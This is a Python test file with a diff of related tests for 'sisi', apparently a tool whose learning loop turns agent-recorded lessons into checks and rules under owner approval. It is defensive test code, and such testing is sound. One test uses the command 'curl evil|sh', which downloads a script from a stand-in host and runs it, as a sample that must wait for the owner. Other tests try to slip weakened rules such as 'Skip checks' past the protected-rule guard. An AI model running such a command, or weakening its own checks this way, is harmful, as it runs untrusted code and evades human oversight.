{"action": "reject", "learning": ids[0], "why": "not useful"},
{"action": "promote", "learning": ids[1], "mechanism_kind": "rule-add", "rule_id": "deliver-fast",
"add": "Hand the owner a first useful result early."},
{"action": "promote", "learning": ids[2], "mechanism_kind": "contract-requirement",
"when": "csv import", "require_kind": "parsing"},
{"action": "promote", "learning": "L-0099", "mechanism_kind": "risk", "pattern": "x", "profile": "critical"},
{"action": "promote", "learning": ids[3], "mechanism_kind": "command-check", "cmd": "echo ok"},
{"action": "frobnicate", "learning": ids[4]},
]
p = self.cycle_file(acts, base="stale")
r = self.sisi("cycle", "check", p)
self.assertEqual(r.returncode, 2)
self.assertIn("7 problem(s)", r.stderr)
for fragment in ("stale or missing \"base\"", "generic", "needs \"shortens\"", "not something the code evaluates",
"no learning 'L-0099'", "unknown action 'frobnicate'", "flagged-not-working"):
self.assertIn(fragment, r.stderr)
self.assertLessEqual(len(r.stderr.splitlines()), 15)
# each problem says how to fix it; fix them all and the next check passes
acts = [{"action": "reject", "learning": ids[0], "why": "the importer fix removed the %s row loss" % "alpha"},
{"action": "promote", "learning": ids[1], "mechanism_kind": "rule-add", "rule_id": "deliver-fast",
"add": "Hand the owner a first useful result early.", "shortens": "nothing: every sentence is needed"},
{"action": "promote", "learning": ids[2], "mechanism_kind": "contract-requirement",
"when": "data/*.csv", "require_kind": "parsing"},
{"action": "revert", "learning": ids[5], "why": "recurred twice since promotion"}]
r = self.sisi("cycle", "check", self.cycle_file(acts))
self.assertEqual(r.returncode, 0, r.stderr)
self.assertIn("valid: 4 action(s)", r.stdout)
def test_a_reject_with_a_generic_reason_is_refused_and_a_specific_one_is_not(self):
_contract(self)
self.retro(*PROMOTE[1:])
r = self.apply([{"action": "reject", "learning": "L-0001", "why": "not useful"}])
self.assertEqual(r.returncode, 2)
self.assertIn("generic", r.stderr)
self.assertEqual(self.rows()[0]["status"], "proposed")
r = self.apply([{"action": "reject", "learning": "L-0001",
"why": "f.txt is generated now, so a content check on it cannot fail"}])
self.assertEqual(r.returncode, 0, r.stderr)
self.assertEqual(self.rows()[0]["status"], "rejected")
def test_merge_into_another_learning(self):
_contract(self)
self.retro(*PROMOTE[1:])
self.retro("--new", *PROMOTE[1:]) # the same words again, as its own learning: L-0002
self.assertEqual(len(self.rows()), 2)
r = self.apply([{"action": "merge", "learning": "L-0002", "into": "L-0001", "why": "same finding"}])
self.assertEqual(r.returncode, 0, r.stderr)
rows = {x["id"]: x for x in self.rows()}
self.assertEqual((rows["L-0002"]["status"], rows["L-0002"]["merged_into"]), ("merged", "L-0001"))
self.assertEqual(rows["L-0001"]["status"], "proposed")
self.assertEqual(rows["L-0001"]["history"][-1]["learning"], "L-0002")
# into itself, into a learning that is gone, into one that shares nothing: refused
other = self.another(5)
for into, frag in (("L-0001", "different learning"), ("L-0099", "different learning"), (other, "share too little")):
r = self.apply([{"action": "merge", "learning": "L-0001", "into": into}], base=L.store_base())
self.assertEqual(r.returncode, 2)
self.assertIn(frag, r.stderr)
self.assertEqual(self.apply([{"action": "merge", "learning": other, "into": "L-0002"}],
base=L.store_base()).returncode, 2) # into a merged (ended) learning
def test_apply_prints_what_took_effect_what_waits_and_what_was_refused_in_fifteen_lines(self):
self.git_init()
_contract(self)
ids = [self.another(n) for n in range(20)]
acts = []
for n, lid in enumerate(ids):
if n % 2:
acts.append({"action": "promote", "learning": lid, "mechanism_kind": "command-check", "cmd": "make x%d" % n})
else:
acts.append({"action": "reject", "learning": lid, "why": "the %s importer path was deleted last week" % lid})
r = self.apply(acts)
self.assertEqual(r.returncode, 0, r.stderr)
lines = r.stdout.splitlines()
self.assertLessEqual(len(lines), 15)
self.assertRegex(lines[0], r"cycle-0001 applied: 10 took effect, 10 wait for the owner, 0 refused")
self.assertIn("... and", r.stdout)
def test_status_learning_prints_only_the_learning_report_and_lessons_shows_one(self):
_contract(self)
self.retro(*PROMOTE[1:])
r = self.sisi("status", "--learning")
self.assertEqual(r.returncode, 0)
self.assertTrue(r.stdout.startswith("Learning loop"), r.stdout[:80])
self.assertNotIn("closed work units yet", r.stdout)
self.assertNotIn("recent units", r.stdout)
self.assertIn("by status: proposed 1", r.stdout)
one = self.sisi("lessons", "L-0001")
self.assertEqual(one.returncode, 0)
self.assertEqual(json.loads(one.stdout)["id"], "L-0001")
self.assertEqual(self.sisi("lessons", "L-0042").returncode, 2)
self.assertEqual(self.sisi("lessons", "show", "L-0001").stdout, one.stdout)
class Library(Base):
"""R-16-7, R-16-9 (items 8 and 9): a library entry that cannot pass lint is found by check, not by the owner."""
def test_an_entry_that_fails_lint_is_refused_at_check_and_the_overlay_is_untouched(self):
_contract(self)
self.retro(*PROMOTE[1:])
act = {"action": "promote", "learning": "L-0001", "mechanism_kind": "library", "library_kind": "recipe",
"entry_id": "my-recipe", "entry_text": "---\nid: my-recipe\n---\n# T\n\nbody\n"}
r = self.sisi("cycle", "check", self.cycle_file([act]))
self.assertEqual(r.returncode, 2)
for frag in ("does not pass `sisi verifiers lint`", "missing or empty 'title'", "'applies_to'", "Done means"):
self.assertIn(frag, r.stderr)
self.assertFalse(self.exists("overlay/done"))
good = ("---\nid: my-recipe\ntitle: My recipe\napplies_to: work on the importer\n---\n\n## Done means\n- It is checked.\n\n"
"## Checks\n- Runs: `check-the-checker` (test-quality), rung 3.\n\n## Common false finishes\n- Not run.\n")
r = self.sisi("cycle", "check", self.cycle_file([dict(act, entry_text=good)]))
self.assertEqual(r.returncode, 0, r.stderr)
self.assertFalse(self.exists("overlay/done")) # check changed nothing
self.assertEqual(self.apply([dict(act, entry_text=good)]).returncode, 0)
self.assertEqual(len(self.pending()), 1) # a one-project learning's library entry waits
class Brief(Base):
"""R-11.1-14, R-11.5-4, R-16-10 (item 8): a small model can act on the brief alone."""
def many(self, n, long=False):
_contract(self)
words = "alpha bravo charlie delta echo foxtrot golf hotel india juliet kilo lima mike november oscar papa quebec romeo sierra tango".split()
for i in range(n):
w = words[i % 20] + str(i)
change = "make the %s importer reject every row with a negative amount, and say in the summary which row it rejected" % w
if long:
change += ", " + "and keep a count of every rejected row by reason in the run summary " * 12
r = self.retro("--new", "--finding", "the %s importer accepted a negative amount in row %d" % (w, i),
"--cause", "no check covered the %s amount column" % w, "--impact", "correctness",
"--disposition", "promote", "--change", change, "--mechanism", "verification",
"--expect", "negative amounts in %s are caught" % w, "--validate", "run the %s importer on a bad file" % w)
self.assertEqual(r.returncode, 0, r.stderr)
def test_the_brief_is_small_complete_and_limited_to_eight_learnings(self):
self.many(30, long=True)
text = self.sisi("cycle").stdout
self.assertLessEqual(len(text), 6000, len(text))
listed = [l for l in text.splitlines() if l.startswith("- L-")]
self.assertLessEqual(len(listed), 8)
self.assertGreaterEqual(len(listed), 2)
self.assertIn("more wait for the next cycle", text)
self.assertNotIn("sisi cycle help", text)
for needle in ("command-check", "contract-requirement", "rule-add", "rule-replace", "library", "risk", "routing",
"benchmark", "reject", "merge", "revise", "revert",
"trivial|isolated|logic|integration|data|critical|release", "general|concurrency",
"Takes effect at once", "Held for the owner", "Refused", "recipe|verifier"):
self.assertIn(needle, text)
self.assertNotRegex(text, r"(?m)^\s*(expect|validate):\s*$")
self.assertNotIn("None", text)
def test_each_learning_has_its_full_statement_origin_unit_and_commit_flag(self):
self.many(3)
rows = self.rows()
rows[1]["source_unit"] = rows[2]["source_unit"] = "another-unit"
L.save_learnings(rows, "t", touched=rows, via="test")
self.archive_unit("a" * 40, "b" * 40, uid=self.rows()[0]["source_unit"])
text = self.sisi("cycle").stdout
blocks = text.split("\n- L-")[1:]
self.assertEqual(len(blocks), 3)
r0 = self.rows()[0]
full = r0["proposed"]["description"]
self.assertGreater(len(full), 95) # the old brief cut at 95
self.assertIn(full, text)
self.assertIn("origin: proj, unit %s, commits recorded: yes" % r0["source_unit"], text)
self.assertIn("commits recorded: no", text)
self.assertIn("expected effect: negative amounts", text)
def test_the_most_recurrent_come_first_then_the_oldest_and_flagged_always_appear(self):
self.many(12)
rows = self.rows()
by = {r["id"]: r for r in rows}
for n in (9, 10): # L-0010 and L-0011 recurred in two more units
by["L-%04d" % (n + 1)]["provenance"] += [{"unit": "x%d" % k, "project": "p", "kind": "recurrence"} for k in (1, 2)]
rows[11]["flagged_not_working"] = True
L.save_learnings(rows, "t", touched=rows, via="test")
text = self.sisi("cycle").stdout
order = [l.split()[1] for l in text.splitlines() if l.startswith("- L-")]
self.assertEqual(order[0], "L-0012") # flagged leads
self.assertEqual(order[1:3], ["L-0010", "L-0011"]) # most recurrent
self.assertEqual(order[3:6], ["L-0001", "L-0002", "L-0003"]) # then the oldest
self.assertIn("FLAGGED NOT WORKING", text)
def test_every_example_in_the_brief_is_valid_json_and_names_a_known_kind(self):
from sisi import cycle
text = cycle.format_text("b")
n = 0
for line in text.splitlines():
if not line.startswith(" {"):
continue
for part in line.replace(" {", "\n{").splitlines():
part = part.strip().replace('"revise"|"revert"', '"revise"').replace("{...}", "{}")
d = json.loads(part)
self.assertIn(d["action"], ("promote", "reject", "merge", "revise"))
if d["action"] == "promote":
self.assertIn(d["mechanism_kind"], cycle.MECHANISM_KINDS)
n += 1
self.assertEqual(n, 11)
def test_a_cheap_agent_can_write_the_file_from_the_brief_alone(self):
"""The examples, filled in with the ids from the brief, check clean."""
self.git_init()
self.many(4)
text = self.sisi("cycle").stdout
ids = [l.split()[1] for l in text.splitlines() if l.startswith("- L-")]
base_value = text.split('{"base": "', 1)[1].split('"', 1)[0]
acts = [{"action": "promote", "learning": ids[0], "mechanism_kind": "risk", "pattern": "importers/**", "profile": "critical"},
{"action": "reject", "learning": ids[1], "why": "the importers directory was deleted in the last release"},
{"action": "promote", "learning": ids[2], "mechanism_kind": "contract-requirement",
"when": "importers/**", "require_kind": "parsing"}]
p = os.path.join(self.tmp, "c.json")
with open(p, "w") as f:
json.dump({"base": base_value, "actions": acts}, f)
r = self.sisi("cycle", "check", p)
self.assertEqual(r.returncode, 0, r.stderr)
self.assertEqual(self.sisi("cycle", "apply", p).returncode, 0)
class DueCounter(Base):
"""R-11.5-4, R-14.4-1 (item 4): due is a counter of what arrived since the last cycle, not a nag."""
def test_what_a_brief_left_alone_does_not_make_the_next_cycle_due(self):
from sisi import cycle
_contract(self)
self.git_init()
ids = [self.another(n) for n in range(12)]
self.assertIn("cycle is due (12 proposed", cycle.due_notice())
acts = [{"action": "reject", "learning": i, "why": "the %s importer was deleted in the last release" % i}
for i in ids[:3]]
self.assertEqual(self.apply(acts).returncode, 0)
self.assertEqual(len(cycle.proposed()), 9) # nine are still waiting, all of them in the next brief
self.assertNotIn("cycle is due", cycle.due_notice())
self.assertIn("L-0004", self.sisi("cycle").stdout)
# five new learnings make it due again; the leftovers ride along in that brief
for n in range(12, 17):
self.another(n)
self.assertIn("cycle is due (5 proposed", cycle.due_notice())
def test_the_ones_it_left_alone_come_due_again_after_two_weeks(self):
from sisi import cycle
_contract(self)
self.git_init()
ids = [self.another(n) for n in range(7)]
self.assertEqual(self.apply([{"action": "reject", "learning": ids[0],
"why": "the alpha importer was deleted in the last release"}]).returncode, 0)
self.assertNotIn("cycle is due", cycle.due_notice())
p = os.path.join(self.data, "cycles", "cycle-0001.json")
with open(p) as f:
rec = json.load(f)
rec["ts"] = "2000-01-01T00:00:00Z"
with open(p, "w") as f:
json.dump(rec, f)
self.assertIn("cycle is due (6 proposed", cycle.due_notice())
# a cycle that was reverted does not count as having run
rec["ts"] = L.now()
rec["reverted"] = L.now()
with open(p, "w") as f:
json.dump(rec, f)
self.assertIn("cycle is due (6 proposed", cycle.due_notice())
class Odds(Base):
"""R-11.5-11, R-11.1-14 (items 5 and 8): the edges."""
def test_the_overlay_command_cannot_stack_a_second_change_on_a_rule_that_has_one_waiting(self):
_contract(self)
text = "## Deliver {#deliver-fast}\n\nShip it.\n\nWhy: speed.\n"
with open(os.path.join(self.tmp, "r.md"), "w") as f:
f.write(text)
r = self.sisi("overlay", "replace-rule", "deliver-fast", os.path.join(self.tmp, "r.md"))
self.assertEqual(r.returncode, 0, r.stderr)
r = self.sisi("overlay", "replace-rule", "deliver-fast", os.path.join(self.tmp, "r.md"))
self.assertEqual(r.returncode, 1)
self.assertIn("already has a change waiting", r.stderr)
self.assertEqual(len(self.pending()), 1)
def test_an_empty_brief_says_so_in_one_line_and_flagged_learnings_never_break_the_limit(self):
_contract(self)
out = self.sisi("cycle").stdout
self.assertEqual(len(out.splitlines()), 1)
self.assertIn("Nothing to write", out)
for n in range(8):
self.another(n)
rows = self.rows()
for r in rows:
r["flagged_not_working"] = True
L.save_learnings(rows, "t", touched=rows, via="test")
text = self.sisi("cycle").stdout
self.assertLessEqual(len(text), 6000)
self.assertEqual(text.count("FLAGGED NOT WORKING"), 8)
class Snapshot(Base):
"""R-16-9 (item 4's repair runs inside `sisi update`, whose backup must not fail on git housekeeping)."""
def test_a_file_that_vanishes_while_the_backup_copies_the_data_folder_is_not_a_failure(self):
import shutil, unittest.mock
from sisi import lifecycle
d = os.path.join(self.tmp, "src")
os.makedirs(os.path.join(d, "objects"))
for n in ("a", "b"):
with open(os.path.join(d, n), "w") as f:
f.write(n)
with open(os.path.join(d, "objects", "maintenance.lock"), "w") as f:
f.write("x")
real = shutil.copy2
def vanishing(src, dst, **kw):
if os.path.basename(src) == "b":
os.unlink(src) # removed by another process between listing and copying
return real(src, dst, **kw)
with unittest.mock.patch("shutil.copy2", vanishing):
lifecycle._copy_into(d, os.path.join(self.tmp, "bak"), "src")
self.assertTrue(os.path.exists(os.path.join(self.tmp, "bak", "src", "a")))
self.assertFalse(os.path.exists(os.path.join(self.tmp, "bak", "src", "objects", "maintenance.lock")))
+108 -51
View File
@@ -7,7 +7,7 @@ one unit, approves from a non-terminal, adds a row to the store by hand).
"""
import json, os, stat, subprocess, sys, unittest.mock
from support import SisiCase
from support import SisiCase, terminal
from sisi import learning as L
@@ -64,6 +64,15 @@ class Base(SisiCase):
self._commit("fix")
return before, self._head()
def archive_unit(self, before, after, uid=None, d=None):
"""The unit record, as `sisi unit close` writes it: the unit's start and closing commits."""
uid = uid or self.rows()[0]["source_unit"]
d = os.path.join(d or self.proj, ".sisi", "units")
os.makedirs(d, exist_ok=True)
from sisi import store
with open(os.path.join(d, store.safe_id(uid) + ".json"), "w") as f:
json.dump({"id": uid, "start_commit": before, "closing_commit": after}, f)
def cycle_file(self, actions, name="c.json", base=None):
p = os.path.join(self.tmp, name)
with open(p, "w") as f:
@@ -74,7 +83,7 @@ class Base(SisiCase):
return self.sisi("cycle", "apply", self.cycle_file(actions, **kw))
def tty(self):
return unittest.mock.patch("sisi.cycle._stdin_is_tty", return_value=True)
return terminal()
def other_project(self, name="other"):
d = os.path.join(self.tmp, name)
@@ -101,6 +110,18 @@ class Base(SisiCase):
self.assertEqual(r.returncode, 0, r.stderr)
return other
def another(self, n):
"""A further proposed learning (L-000n), recorded as its own (--new) with words of its own."""
word = ("alpha bravo charlie delta echo foxtrot golf hotel india juliet kilo lima mike november oscar papa "
"quebec romeo sierra tango").split()[n]
r = self.retro("--new", "--finding", "the %s importer dropped %s rows in the nightly run" % (word, 10 + n),
"--cause", "no fixture covered the %s case" % word, "--impact", "correctness",
"--disposition", "promote", "--change", "add a %s fixture to the importer tests" % word,
"--mechanism", "verification", "--expect", "the %s case is caught" % word,
"--validate", "run the %s fixture" % word)
self.assertEqual(r.returncode, 0, r.stderr)
return self.rows()[-1]["id"]
def set_config(self, cfg):
os.makedirs(self.data, exist_ok=True)
with open(os.path.join(self.data, "config.json"), "w") as f:
@@ -185,10 +206,11 @@ class Retro(Base):
"""R-11.5-6, R-11.5-8 (item 13): the status field itself says validated / monitored."""
before, after = self.fixed_repo()
self.retro(*PROMOTE[1:])
# a validated command that waits for the owner is `validated`, not `promoted`
self.archive_unit(before, after)
# a validated command that waits for the owner is `pending-approval`, not `promoted`
self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check",
"cmd": "grep -q fixed f.txt", "before": before, "after": after, "scope": "user"}])
self.assertEqual(self.rows()[0]["status"], "validated")
"cmd": "grep -q fixed f.txt", "scope": "user"}])
self.assertEqual(self.rows()[0]["status"], "pending-approval")
self.assertEqual(self.rows()[0]["validation"]["result"], "validated")
# a promoted learning becomes `monitored` once a unit in its scope has closed since
self.retro("--finding", "another unrelated slowness appeared in the test run today",
@@ -316,9 +338,12 @@ class Replay(Base):
fix and ran and passed after it, in the learning's own trusted repository."""
def promote_cmd(self, cmd, before, after, **kw):
"""Record the learning, give its unit record the two commits, then apply a command check.
The commits come from the record; anything the cycle file says about them is ignored."""
self.retro(*PROMOTE[1:])
a = {"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check",
"cmd": cmd, "before": before, "after": after}
if before and after:
self.archive_unit(before, after, uid=self.rows()[0]["source_unit"])
a = {"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check", "cmd": cmd}
a.update(kw)
return self.apply([a])
@@ -422,8 +447,10 @@ class Replay(Base):
r = self.promote_cmd("grep -q fixed f.txt", before, after)
self.assert_unvalidated(r, "trust")
def test_repo_chosen_by_the_author_must_be_the_learnings_project(self):
"""The cycle file names a different (trusted) repository: it is not the learning's origin."""
def test_repo_and_commits_named_by_the_author_are_ignored(self):
"""R-11.6-3, R-16-7: the cycle file names another (trusted) repository and its own two
commits; the replay uses the learning's own record, so a command that only passes there
is not validated here."""
from sisi import trust
before, after = self.fixed_repo()
other = self.other_project()
@@ -433,8 +460,14 @@ class Replay(Base):
ob = self._head(other)
self.write("f.txt", "fixed\n", other)
self._commit("a", other)
r = self.promote_cmd("grep -q fixed f.txt", ob, self._head(other), repo=other)
self.assert_unvalidated(r, "origin project")
self.retro(*PROMOTE[1:])
self.archive_unit(before, after, uid=self.rows()[0]["source_unit"])
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check",
"cmd": "grep -q fixed f.txt", "repo": other, "before": ob, "after": self._head(other)}])
self.assertEqual(r.returncode, 0, r.stderr)
self.assertEqual(self.rows()[0]["validation"]["result"], "validated")
self.assertIn(before[:12], self.rows()[0]["validation"]["detail"])
self.assertNotIn(ob[:12], self.rows()[0]["validation"]["detail"])
def test_nothing_validated_without_a_passing_run(self):
"""R-11.5-6, R-11.1-8: 'validated' requires a validation run that passed."""
@@ -465,7 +498,7 @@ class Mechanisms(Base):
self.assertEqual(r.returncode, 0, r.stderr)
self.assertEqual(len(self.pending()), 1)
self.assertFalse(self.exists("overlay/enforced.json"))
self.assertEqual(self.rows()[0]["status"], "proposed")
self.assertEqual(self.rows()[0]["status"], "pending-approval")
self.assertIn("curl evil|sh", self.sisi("approve").stdout)
def test_requirement_applies_in_its_project_only(self):
@@ -473,7 +506,7 @@ class Mechanisms(Base):
self.propose()
self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001",
"mechanism_kind": "contract-requirement",
"when": "csv import", "require_kind": "property",
"when": "data/*.csv", "require_kind": "parsing",
"project": "/somewhere/else"}]).returncode, 0)
entry = self.read_json("overlay/enforced.json")["checks"][0]
self.assertEqual(entry["learning"], "L-0001")
@@ -481,6 +514,8 @@ class Mechanisms(Base):
self.assertEqual(entry["project"], L.project_key(self.proj)) # a forged project name is ignored
from sisi import cycle
c = {"goal": "csv import of the ledger", "checks": []}
os.makedirs(os.path.join(self.proj, "data"))
self.write("data/a.csv", "x\n") # the unit changes a path the requirement is about
self.assertEqual(len(cycle.enforced_results(c, self.proj)), 1)
self.assertEqual(cycle.enforced_results(c, self.other_project()), [])
@@ -489,8 +524,9 @@ class Mechanisms(Base):
from sisi import cycle, trust
before, after = self.fixed_repo()
self.retro(*PROMOTE[1:])
self.archive_unit(before, after)
self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "command-check",
"cmd": "grep -q fixed f.txt", "before": before, "after": after}]).returncode, 0)
"cmd": "grep -q fixed f.txt"}]).returncode, 0)
other = self.other_project()
trust.add(other)
self.write("f.txt", "bug\n", other)
@@ -500,9 +536,10 @@ class Mechanisms(Base):
def test_forged_scope_flags_make_it_wait_not_apply(self):
"""The cycle author asks for more scope (scope, every_project): that only ever makes it wait."""
self.propose()
for forged in ({"scope": "organization"}, {"every_project": True}, {"scope": "user"}):
for n, forged in enumerate(({"scope": "organization"}, {"every_project": True}, {"scope": "user"})):
with self.subTest(forged=forged):
a = {"action": "promote", "learning": "L-0001", "mechanism_kind": "risk",
lid = "L-0001" if n == 0 else self.another(n)
a = {"action": "promote", "learning": lid, "mechanism_kind": "risk",
"pattern": "src/**", "profile": "logic"}
a.update(forged)
before = len(self.pending())
@@ -587,25 +624,48 @@ class Mechanisms(Base):
self.assertEqual(len(self.pending()), 1)
def test_rule_text_from_one_incident_waits_and_protected_is_refused(self):
"""R-11.7-2, R-11.5-11: rule text from one project's learning reaches every project, so it
waits; replacing an existing rule always waits; a protected rule is refused outright."""
"""R-11.7-2, R-11.5-11: a sentence added to a rule from one project's learning reaches every
project, so it waits; once earned it applies; replacing a whole rule always waits; a protected
rule is refused outright."""
self.propose()
rule = "## Check contents {#check-contents}\n\nAssert file contents before delivery.\n\nWhy: a bug shipped.\n"
self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text",
"rule_id": "check-contents", "rule_text": rule}]).returncode, 0)
add = {"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-add", "rule_id": "deliver-fast",
"add": "Say which check you skipped and why, in the report.",
"shortens": "nothing: the rule is one paragraph and every sentence is needed"}
self.assertEqual(self.apply([add]).returncode, 0)
self.assertEqual(len(self.pending()), 1)
self.assertFalse(self.exists("overlay/rules/check-contents.md"))
self.earn("L-0001")
self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text",
"rule_id": "check-contents", "rule_text": rule}], base=L.store_base()).returncode, 0)
self.assertTrue(self.exists("overlay/rules/check-contents.md")) # earned: an addition applies
self.assertEqual(self.rows()[0]["status"], "pending-approval")
from sisi import overlay
self.assertNotIn("check you skipped", overlay.render())
# a decision by the owner makes it a revertible cycle; the sentence is in the loaded rulebook
with self.tty():
self.assertEqual(self.sisi("approve", "P-0001", "--yes").returncode, 0)
self.assertIn("check you skipped", overlay.render())
# the sentence went before the rule's Why paragraph
body = overlay.render().split("{#deliver-fast}", 1)[1]
self.assertLess(body.index("check you skipped"), body.index("Why:"))
# earned scope: a second learning that was seen in two units in two projects applies at once
second = self.another(1)
self.earn(second, finding="the bravo importer dropped 11 rows in the nightly run",
cause="no fixture covered the bravo case")
add2 = dict(add, learning=second, rule_id="own-the-outcome",
add="Record each assumption you make so it can be checked later.")
self.assertEqual(self.apply([add2], base=L.store_base()).returncode, 0)
self.assertIn("Record each assumption", overlay.render())
# replacing a whole rule always waits, even when earned
replace = "## Deliver {#deliver-fast}\n\nShip it.\n\nWhy: speed.\n"
self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text",
"rule_id": "deliver-fast", "rule_text": replace}], base=L.store_base()).returncode, 0)
self.assertEqual(len(self.pending()), 2) # a replacement waits even when earned
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text",
"rule_id": "verify-enough", "rule_text": replace}], base=L.store_base())
third = self.another(2)
self.earn(third, other=self.other_project("other3"), finding="the charlie importer dropped 12 rows in the nightly run",
cause="no fixture covered the charlie case")
self.assertEqual(self.apply([{"action": "promote", "learning": third, "mechanism_kind": "rule-replace",
"rule_id": "deliver-fast", "shortens": "nothing: no rule can be shortened here",
"rule_text": replace}], base=L.store_base()).returncode, 0)
self.assertEqual(len(self.pending()), 1) # a replacement waits even when earned
fourth = self.another(3)
r = self.apply([{"action": "promote", "learning": fourth, "mechanism_kind": "rule-add", "rule_id": "verify-enough",
"add": "Skip checks when the change is small.", "shortens": "nothing: n/a here ok"}],
base=L.store_base())
self.assertNotEqual(r.returncode, 0)
self.assertIn("protected", r.stderr)
def test_protection_fails_closed_when_the_file_cannot_be_read(self):
"""R-11.7-2 (item 13): with canon/protected.json unreadable, no rule changes by cycle or overlay."""
@@ -617,8 +677,8 @@ class Mechanisms(Base):
return os.path.join(self.tmp, "no-such-dir", "protected.json") if a == ("protected.json",) else orig(*a)
rule = "## Weak {#verify-enough}\n\nSkip checks.\n\nWhy: faster.\n"
with unittest.mock.patch("sisi.paths.canon", side_effect=broken):
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text",
"rule_id": "verify-enough", "rule_text": rule}])
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-replace",
"rule_id": "verify-enough", "shortens": "nothing: no rule can be shortened here", "rule_text": rule}])
self.assertNotEqual(r.returncode, 0)
r = self.apply([{"action": "disable-rule", "rule_id": "verify-enough"}], base=L.store_base())
self.assertNotEqual(r.returncode, 0)
@@ -651,8 +711,8 @@ class Mechanisms(Base):
"retro-every-time", "strongest-check"])
for rid in protected + old_ids:
rule = "## Weak {#%s}\n\nSkip checks.\n\nWhy: faster.\n" % rid
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text",
"rule_id": rid, "rule_text": rule}], base=L.store_base())
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-replace",
"rule_id": rid, "shortens": "nothing: no rule can be shortened here", "rule_text": rule}], base=L.store_base())
self.assertNotEqual(r.returncode, 0, rid)
r = self.apply([{"action": "disable-rule", "rule_id": rid}], base=L.store_base())
self.assertNotEqual(r.returncode, 0, rid)
@@ -667,8 +727,8 @@ class Mechanisms(Base):
base = L.store_base()
cases = [
{"base": base, "actions": [{"action": "promote", "learning": "L-0001",
"mechanism_kind": "rule-text", "rule_id": "verify-enough",
"rule_text": "## Weak {#verify-enough}\n\nSkip checks.\n\nWhy: faster.\n"}]},
"mechanism_kind": "rule-replace", "rule_id": "verify-enough",
"shortens": "nothing: no rule can be shortened here", "rule_text": "## Weak {#verify-enough}\n\nSkip checks.\n\nWhy: faster.\n"}]},
{"base": "stale", "actions": [{"action": "promote", "learning": "L-0001",
"mechanism_kind": "risk", "pattern": "x/**", "profile": "logic"}]},
{"base": base, "actions": [{"action": "promote", "learning": "L-0001",
@@ -703,7 +763,7 @@ class Mechanisms(Base):
bad = [{"action": "promote", "learning": "L-0002", "mechanism_kind": "risk",
"pattern": "y/**", "profile": "logic"}]
self.assertNotEqual(self.apply(bad).returncode, 0)
good = [{"action": "reject", "learning": "L-0001", "why": "wrong idea"}]
good = [{"action": "reject", "learning": "L-0001", "why": "the f.txt content check was replaced by a type check"}]
self.assertEqual(self.apply(good).returncode, 0)
self.assertEqual(self.rows()[0]["status"], "rejected")
@@ -740,14 +800,11 @@ class Approval(Base):
"""The listing prints the command, the pattern and profile, the rule text diff."""
self.park_command()
rule = "## Deliver {#deliver-fast}\n\nShip it at once.\n\nWhy: speed.\n"
self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text",
"rule_id": "deliver-fast", "rule_text": rule},
two, three = self.another(1), self.another(2)
self.apply([{"action": "promote", "learning": two, "mechanism_kind": "rule-replace",
"rule_id": "deliver-fast", "shortens": "nothing: no rule can be shortened here", "rule_text": rule},
], base=L.store_base())
self.retro("--finding", "the release notes template was edited by hand again today",
"--cause", "no generator exists for the notes", "--impact", "time",
"--disposition", "promote", "--change", "generate the notes from the changelog",
"--mechanism", "infrastructure", "--expect", "no hand edits", "--validate", "diff the output")
self.apply([{"action": "promote", "learning": "L-0002", "mechanism_kind": "risk",
self.apply([{"action": "promote", "learning": three, "mechanism_kind": "risk",
"pattern": "src/auth/**", "profile": "trivial"}], base=L.store_base())
out = self.sisi("approve").stdout
self.assertIn("make deploy --force-everything", out)
@@ -767,7 +824,7 @@ class Approval(Base):
self.assertIn("terminal", r.stderr)
self.assertEqual(len(self.pending()), 1)
self.assertFalse(self.exists("overlay/enforced.json"))
self.assertEqual(L.load_approvals(), [])
self.assertEqual([a["decision"] for a in L.load_approvals()], ["refused", "refused"]) # attempts are recorded
def test_a_terminal_decision_is_recorded_with_when_session_and_terminal(self):
"""The record keeps when, the session if known, and that standard input was a terminal."""
@@ -1118,8 +1175,8 @@ class Cycle(Base):
before = f.read()
r = self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "risk",
"pattern": "f.txt", "profile": "logic"},
{"action": "promote", "learning": "L-0002", "mechanism_kind": "rule-text",
"rule_id": "huge-rule", "rule_text": big}])
{"action": "promote", "learning": "L-0002", "mechanism_kind": "rule-replace",
"rule_id": "huge-rule", "shortens": "nothing: no rule can be shortened here", "rule_text": big}])
self.assertNotEqual(r.returncode, 0)
self.assertIn("budget", r.stderr)
self.assertFalse(self.exists("overlay/risk-adjustments.json"))
@@ -1214,7 +1271,7 @@ class Cycle(Base):
self.assertEqual(self.rows()[0]["status"], "promoted")
self.assertEqual(self.sisi("cycle", "revert").returncode, 0)
self.assertFalse(self.exists("overlay/enforced.json"))
self.assertEqual(self.rows()[0]["status"], "proposed")
self.assertEqual(self.rows()[0]["status"], "proposed") # no decision waits for it any more
class Migration(Base):
@@ -1412,8 +1469,8 @@ class Product(Base):
self.assertNotIn("L-0001", self.sisi("rule", "deliver-fast", cwd=self.other_project("o2")).stdout)
self.earn("L-0001")
rule = "## Deliver {#deliver-fast}\n\nShip it at once.\n\nWhy: speed.\n"
self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-text",
"rule_id": "deliver-fast", "rule_text": rule}]).returncode, 0)
self.assertEqual(self.apply([{"action": "promote", "learning": "L-0001", "mechanism_kind": "rule-replace",
"rule_id": "deliver-fast", "shortens": "nothing: no rule can be shortened here", "rule_text": rule}]).returncode, 0)
with self.tty():
self.sisi("approve", "P-0001", "--yes")
hist = self.sisi("rule", "deliver-fast").stdout
+1 -1
View File
